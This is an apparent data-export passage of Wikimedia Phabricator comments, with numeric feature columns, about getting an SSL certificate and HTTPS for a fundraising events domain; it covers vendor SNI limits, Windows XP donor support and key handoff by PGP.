XEhW5EmdpdPEZqbS3sHimHeWdF21leXr8uSmQ2v03KrzQYrHIxNbIy5Nj/LH9U1V
hb8WrqmHtwSPxkyoH2d3qKPvSr5eGoonoVsnMsxbtlQirTy5VgW5Ag0EQkr73RAI
APZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mU
rfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VH
MGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2
azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMh
LLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+c
fL2JSyIZJrqrol7DVekyCzsAAgIIAIdM7RLRJ04s+vnhd35mTWxP5AVlYBs0uvfp
CcyjsRGCf7wZCfXPqDYEdNF5OIz4TTleO2TFGeTj2eNJRSF/+8nmsBMjq8chnCrF
8bA1mRrVcj02JdoIbZhvYIvY2QpfzOu3DUw5/B35wKm5h5uvW9RW5VYq0efc+1X9
sH12Mu11+4S0JKjdd0TpV6R74iLQ6WSFrzZ955DP1weZjqIbERKwpZDimYs8CcKq
nL2qX3YFxnnqelUNcKUvebLJghgTLVbMkWbUPrzncmr0Pnj025iDK3IgGGTD0PkT
HiBJn6IvkgvpHbuF2eUSXnn72tkK1xbzzd9I59ZsZSKi7xBhQYGJAEwEGBECAAwF
AkJK+90FGwwAAAAACgkQvbeFpHWitKuX1wCeNUHHfepvnoVVJMohVdSlgl2sKEcA
mQHsjcumlg3yYUA15VJdV00CwcYQ
=AhoQ
-----END PGP PUBLIC KEY BLOCK-----
```",,,1438614029,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.466666666666667,0.8,"Sure. Here's my public PGP key:


``CODE``"
501163,SSL cert needed for new fundraising events domain,@EWilfong_WMF - do you have a way for us to hand off the private key to you securely? (e.g. a PGP public key),,,1438613650,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,15.0,4.0,4.0,0.0,0.0,12.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,3.269230769230769,0.8461538461538461,SCREEN_NAME - do you have a way for us to hand off the private key to you securely? (e.g. a PGP public key)
501161,SSL cert needed for new fundraising events domain,"Getting back onto the technical tasks at hand: the DNS part is merged now, and AIUI we (ops) need to purchase a cert from globalsign (RSA, no wildcard/SAN, single hostname for ""eventdonations.wikimedia.org"", 1yr validity) and hand it off.",,,1438613343,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,10.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8653846153846154,0.8269230769230769,"Getting back onto the technical tasks at hand: the DNS part is merged now, and AIUI we (ops) need to purchase a cert from globalsign (RSA, no wildcard/SAN, single hostname for ""eventdonations.wikimedia.org"", 1yr validity) and hand it off."
501145,SSL cert needed for new fundraising events domain,"I'm generally agreeable to the plan, but I'm still a bit worried about the timeline here.  We don't have firm deadlines, but presenting a plan on Oct 7 doesn't mean being ready to make the switch on Oct 7.  Right now we're in the process of cleaning up these issues in wikimedia.org so that we can bring that last domainname into compliance with the upgraded security of our other major domainnames.  The only truly-difficult case still blocking us on that effort today is the email.donate case (which is similar in nature: FR-related and 3rd-party hosted).  The timeline on that one is still an unknown, but I was certainly hoping to resolve it much earlier than October somehow.  Between email.donate and these new names, they will both block turning on HSTS preloading and/or HPKP for all of *.wikimedia.org until whenever after Oct 7 we finally get them resolved on a technical level.",,,1438612000,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1.0,0.0,0.0,0.0,1.0,6.5,2.0,0.0,0.0,0.0,1.5,2.5,0.0,0.5,0.0,4.5,1.0,8.5,13.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,4.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,12.5,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,6.0,2.5,8.0,1.5,4.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,6.5,13.5,5.0,0.0,0.0,0.0,6.5,0.0,1.0,2.0,1.0,3.0,0.5,0.0,0.5,4.077960927960929,0.795909645909646,"I'm generally agreeable to the plan, but I'm still a bit worried about the timeline here.  We don't have firm deadlines, but presenting a plan on Oct 7 doesn't mean being ready to make the switch on Oct 7.  Right now we're in the process of cleaning up these issues in wikimedia.org so that we can bring that last domainname into compliance with the upgraded security of our other major domainnames.  The only truly-difficult case still blocking us on that effort today is the email.donate case (which is similar in nature: FR-related and 3rd-party hosted).  The timeline on that one is still an unknown, but I was certainly hoping to resolve it much earlier than October somehow.  Between email.donate and these new names, they will both block turning on HSTS preloading and/or HPKP for all of *.wikimedia.org until whenever after Oct 7 we finally get them resolved on a technical level."
499835,SSL cert needed for new fundraising events domain,"Hi all,

I appreciate all the concerns you've shared with us and I can see that in the very near future we need to do this differently.  Caitlin Cogdill has proposed a plan to fix this issue after the fall event.  I've quoted that info out below.  

In the meantime, we need to set this system up for the coming event ASAP.  Please let us know the next steps to move forward on this.  

Caitlin V.  

From CC: ""I made a commitment to @BBlack yesterday that I will present our plan for how to migrate the page from http to https on 10/7/15 — there's a calendar invite which we have both accepted so this won't slip by. We can't say right now if that solution will be https through SNI or a new IP (this is not a simple solution for Trilogy with their current system), but we have committed to finding a solution either way. @CaitVirtue and I agree that we will make this change this fiscal year; if Ops has a stricter deadline, let us know.

**We need use of this tool by 8/10** so we do not have time to implement a complicated solution for https right now. All we are asking is the ability to use this tool with one of the two domains on http for two months and get our major Fall event out of the way. I'd like to apologize that it may seem I'm dropping this on you last minute; I initially brought this project to Ops on 6/29 which was the day the payments contract was finalized, and I incorrectly assumed these requests were simple. This has been an important learning experience for me and I will certainly start these discussions with a few months' buffer whenever possible in the future.

Is the above compromise, in which we commit to change this page to https this FY and present a plan to do so on 10/7, amenable?""",,,1438293742,,PHID-USER-kwzt7y73f6hl6xs7vo2p,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,False,,,4,True,1.0,0.0,0.25,0.25,1.0,4.25,1.5,0.0,0.0,0.5,1.0,1.75,0.0,0.0,0.25,6.75,0.0,5.0,13.5,0.0,2.75,0.0,0.0,0.0,1.75,0.0,0.25,0.75,0.5,1.25,0.0,5.0,1.75,0.25,0.5,0.5,0.25,0.0,0.25,1.25,0.0,0.25,1.0,2.0,0.0,0.25,0.25,0.0,0.5,12.25,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.75,1.0,0.0,0.75,1.0,0.0,0.0,0.25,0.0,0.0,6.5,2.25,8.75,2.25,2.0,13.25,0.0,0.0,0.0,0.0,6.75,0.5,2.0,0.0,7.75,13.5,2.75,0.25,0.75,0.0,7.75,0.0,1.25,2.75,1.0,1.0,0.25,0.0,0.25,3.7596373827499425,0.7460821322351865,"Hi all,

I appreciate all the concerns you've shared with us and I can see that in the very near future we need to do this differently.  Caitlin Cogdill has proposed a plan to fix this issue after the fall event.  I've quoted that info out below.  

In the meantime, we need to set this system up for the coming event ASAP.  Please let us know the next steps to move forward on this.  

Caitlin V.  

From CC: ""I made a commitment toSCREEN_NAME yesterday that I will present our plan for how to migrate the page from http to https on 10/7/15 — there's a calendar invite which we have both accepted so this won't slip by. We can't say right now if that solution will be https through SNI or a new IP (this is not a simple solution for Trilogy with their current system), but we have committed to finding a solution either way.SCREEN_NAME and I agree that we will make this change this fiscal year; if Ops has a stricter deadline, let us know.

**We need use of this tool by 8/10** so we do not have time to implement a complicated solution for https right now. All we are asking is the ability to use this tool with one of the two domains on http for two months and get our major Fall event out of the way. I'd like to apologize that it may seem I'm dropping this on you last minute; I initially brought this project to Ops on 6/29 which was the day the payments contract was finalized, and I incorrectly assumed these requests were simple. This has been an important learning experience for me and I will certainly start these discussions with a few months' buffer whenever possible in the future.

Is the above compromise, in which we commit to change this page to https this FY and present a plan to do so on 10/7, amenable?"""
499816,SSL cert needed for new fundraising events domain,"As Eric mentioned earlier in this task, Trilogy runs on a multi-tenant
system, so their system is not currently set up to add new IPs. They are
looking into whether or not they can do that for us, but it would not be
simple for them to set up an entirely new system for us.",,,1438292602,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,2.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,18.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,18.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,5.0,2.0,2.0,0.0,0.0,3.4153846153846152,0.7538461538461538,"As Eric mentioned earlier in this task, Trilogy runs on a multi-tenant
system, so their system is not currently set up to add new IPs. They are
looking into whether or not they can do that for us, but it would not be
simple for them to set up an entirely new system for us."
499744,SSL cert needed for new fundraising events domain,"So does that mean the vendor can't give us a unique IP to handle the SNI problem at this time?  If they supported it at all, I imagine it would be pretty straightforward.",,,1438288759,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,3.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,13.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,13.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,13.0,11.0,3.0,3.0,0.0,0.0,13.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.9210526315789473,"So does that mean the vendor can't give us a unique IP to handle the SNI problem at this time?  If they supported it at all, I imagine it would be pretty straightforward."
499741,SSL cert needed for new fundraising events domain,"So doers that mean the vendor can't give us a unique IP to handle the SNI problem at this time?  If they supported it at all, I imagine it would be pretty straightforward.",,,1438288588,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,3.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,13.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,8.0,3.0,13.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,13.0,11.0,3.0,3.0,0.0,0.0,13.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.6578947368421053,0.9210526315789473,"So doers that mean the vendor can't give us a unique IP to handle the SNI problem at this time?  If they supported it at all, I imagine it would be pretty straightforward."
499737,SSL cert needed for new fundraising events domain,"Sorry, it would *not be a solution we could implement in 2 weeks...",,,1438287738,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4375,1.0,"Sorry, it would *not be a solution we could implement in 2 weeks..."
499736,SSL cert needed for new fundraising events domain,"@BBlack we're looking into the possibility, but if it's possible, it would
be a solution we could implement in 2 weeks. That is one of the options we
would talk about on 10/7, after the event is over.",,,1438287694,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,4.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.595744680851064,0.7659574468085106,"SCREEN_NAME we're looking into the possibility, but if it's possible, it would
be a solution we could implement in 2 weeks. That is one of the options we
would talk about on 10/7, after the event is over."
499711,SSL cert needed for new fundraising events domain,"wikimediafoundation.org is HTTPS-only already.  All of our existing primary domains are, except for wikimedia.org (which is only lagging because of unresolved exceptions like these).

On this basic issue of HTTPS for benefactorevents, the only real technical issue seems to be using a provider than can give us a unique IP for non-SNI HTTPS, right?  That doesn't seem difficult.  Can Trilogy do this for an extra cost?",,,1438285745,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,2.0,0.0,5.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,15.0,1.0,2.0,0.0,0.0,2.0,0.0,1.0,4.0,1.0,4.0,0.0,0.0,2.0,4.1647058823529415,0.7529411764705882,"wikimediafoundation.org is HTTPS-only already.  All of our existing primary domains are, except for wikimedia.org (which is only lagging because of unresolved exceptions like these).

On this basic issue of HTTPS for benefactorevents, the only real technical issue seems to be using a provider than can give us a unique IP for non-SNI HTTPS, right?  That doesn't seem difficult.  Can Trilogy do this for an extra cost?"
499692,SSL cert needed for new fundraising events domain,"I see your point about the unreliability of the OS Marketshare metrics when it comes to overall Wikipedia usage. I just want to illustrate the significance of XP in this particular task.

If the compromise I suggested above (to restate: we commit to change benefactorevents.wikimedia.org to https this FY and present a plan to do so on 10/7) doesn't work, I would like to offer one alternate suggestion. Can we use the wikimediafoundation.org domain instead?",,,1438284129,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,7.0,0.0,7.0,15.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,6.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,13.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,9.0,15.0,4.0,1.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,4.529411764705882,0.788235294117647,"I see your point about the unreliability of the OS Marketshare metrics when it comes to overall Wikipedia usage. I just want to illustrate the significance of XP in this particular task.

If the compromise I suggested above (to restate: we commit to change benefactorevents.wikimedia.org to https this FY and present a plan to do so on 10/7) doesn't work, I would like to offer one alternate suggestion. Can we use the wikimediafoundation.org domain instead?"
499205,SSL cert needed for new fundraising events domain,">>! In T107059#1492983, @CCogdill_WMF wrote:
> Our major donors are not our normal users, and if I'm doing my math right, 0.6% of traffic still comes out to ~2.7 million users. 

Yes, something like that, which is why we still support it.  It will be a long road before we can get that number down to an acceptably low level, probably.  But my point there is, I think the OS Marketshare stats for overall XP deployment paint a much uglier picture than the stats we see for IE7/8-on-XP in terms of cipher negotiation limitations.",,,1438208369,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,6.0,0.0,6.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,14.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,9.0,12.0,4.0,0.0,0.0,0.0,9.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.75,0.7875,"QUOTE
QUOTE

Yes, something like that, which is why we still support it.  It will be a long road before we can get that number down to an acceptably low level, probably.  But my point there is, I think the OS Marketshare stats for overall XP deployment paint a much uglier picture than the stats we see for IE7/8-on-XP in terms of cipher negotiation limitations."
499190,SSL cert needed for new fundraising events domain,"> Keeping in mind we already killed IE6 access some time ago, IE7/8-on-XP (the ones with horrible TLS security and no SNI support) at our TLS terminations still only account for at most 0.6% of traffic, which is starkly different than those OS marketshare graphs for XP in general. 

Our major donors are not our normal users, and if I'm doing my math right, 0.6% of traffic still comes out to ~2.7 million users. When we're talking about contacting a maximum of a few thousand people who are in a very specific, generally older demographic, we aren't willing to take the risk that they do not make up part of that 2.7m.
",,,1438207594,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.0,0.0,1.0,0.0,4.0,9.0,4.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,8.0,1.0,9.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,5.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,4.0,0.0,4.0,1.0,0.0,0.0,3.710526315789474,0.8157894736842105,"QUOTE

Our major donors are not our normal users, and if I'm doing my math right, 0.6% of traffic still comes out to ~2.7 million users. When we're talking about contacting a maximum of a few thousand people who are in a very specific, generally older demographic, we aren't willing to take the risk that they do not make up part of that 2.7m.
"
499147,SSL cert needed for new fundraising events domain,">>! In T107059#1492742, @CCogdill_WMF wrote:
> Per http://www.netmarketshare.com/, this quarter XP has the second highest market share of all OS versions. We can't assume this won't impact our donors, especially with the specific group these events are targeting:
> {F284489}

I'm not wading into the upgrade thing, but just talking about stats.  Keeping in mind we already killed IE6 access some time ago, IE7/8-on-XP (the ones with horrible TLS security and no SNI support) at our TLS terminations still only account for at most 0.6% of traffic, which is starkly different than those OS marketshare graphs for XP in general.  I'm not really sure of what the discrepancy is there, but it's possible a lot of it is that most remaining WinXP users have installed an alternate browser, or simply don't use Wikipedia significantly to begin with and thus are underrepresented in the stats I'm looking at.",,,1438203490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.5,0.0,0.0,0.0,2.0,5.5,2.0,0.0,0.0,0.0,2.5,2.5,0.0,0.5,0.0,3.0,0.0,10.0,12.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,12.0,0.0,1.5,0.5,3.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,10.0,0.5,3.0,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,4.5,12.0,5.5,0.0,0.0,0.0,4.5,0.0,1.0,1.5,0.0,3.0,0.0,1.0,0.0,3.9725636523266026,0.866659350307287,"QUOTE
QUOTE
QUOTE

I'm not wading into the upgrade thing, but just talking about stats.  Keeping in mind we already killed IE6 access some time ago, IE7/8-on-XP (the ones with horrible TLS security and no SNI support) at our TLS terminations still only account for at most 0.6% of traffic, which is starkly different than those OS marketshare graphs for XP in general.  I'm not really sure of what the discrepancy is there, but it's possible a lot of it is that most remaining WinXP users have installed an alternate browser, or simply don't use Wikipedia significantly to begin with and thus are underrepresented in the stats I'm looking at."
499137,SSL cert needed for new fundraising events domain,"> Ignoring the rest of the current discussion and just going little deeper on this one point: Microsoft ended all support for Windows XP a little over a year ago ( https://www.microsoft.com/en-us/WindowsForBusiness/end-of-xp-support ). There are known security flaws throughout XP and Microsoft has no intention of ever fixing them; it's effectively insecure abandonware at this point.

When it comes to contacting donors, the question is not whether they are using a supported or secure OS or not, it is simply if we can support whatever system they are using. We cannot be tasked with asking our donors to upgrade their systems.

Per http://www.netmarketshare.com/, this quarter XP has the second highest market share of all OS versions. We can't assume this won't impact our donors, especially with the specific group these events are targeting:
{F284489}",,,1438202818,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.0,0.0,0.0,1.0,5.0,5.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,1.0,9.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,11.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,9.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,1.0,0.0,5.0,0.0,1.0,0.0,3.9893617021276597,0.723404255319149,"QUOTE

When it comes to contacting donors, the question is not whether they are using a supported or secure OS or not, it is simply if we can support whatever system they are using. We cannot be tasked with asking our donors to upgrade their systems.

Per URL this quarter XP has the second highest market share of all OS versions. We can't assume this won't impact our donors, especially with the specific group these events are targeting:
{F284489}"
499132,SSL cert needed for new fundraising events domain,">>! In T107059#1492681, @CCogdill_WMF wrote:
> XP is still a common OS in large corporations as well as for older generations

Ignoring the rest of the current discussion and just going little deeper on this one point: Microsoft ended all support for Windows XP a little over a year ago ( https://www.microsoft.com/en-us/WindowsForBusiness/end-of-xp-support ).  There are known security flaws throughout XP and Microsoft has no intention of ever fixing them; it's effectively insecure abandonware at this point.",,,1438202385,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,5.0,2.0,0.0,0.0,4.276923076923077,0.8307692307692308,"QUOTE
QUOTE

Ignoring the rest of the current discussion and just going little deeper on this one point: Microsoft ended all support for Windows XP a little over a year ago ( URL ).  There are known security flaws throughout XP and Microsoft has no intention of ever fixing them; it's effectively insecure abandonware at this point."
499122,SSL cert needed for new fundraising events domain,"I appreciate the concerns regarding setting up a new page on http. It has become clear to us that we cannot allow this page to be http for the long-term. However, for this specific donor base, losing support of XP + any version of IE is not trivial. XP is still a common OS in large corporations as well as for older generations, and our major donors are likely to fit into these categories.

I made a commitment to @BBlack yesterday that I will present our plan for how to migrate the page from http to https on 10/7/15 — there's a calendar invite which we have both accepted so this won't slip by. We can't say right now if that solution will be https through SNI or a new IP (this is not a simple solution for Trilogy with their current system), but we have committed to finding a solution either way. @CaitVirtue and I agree that we will make this change this fiscal year; if Ops has a stricter deadline, let us know.  

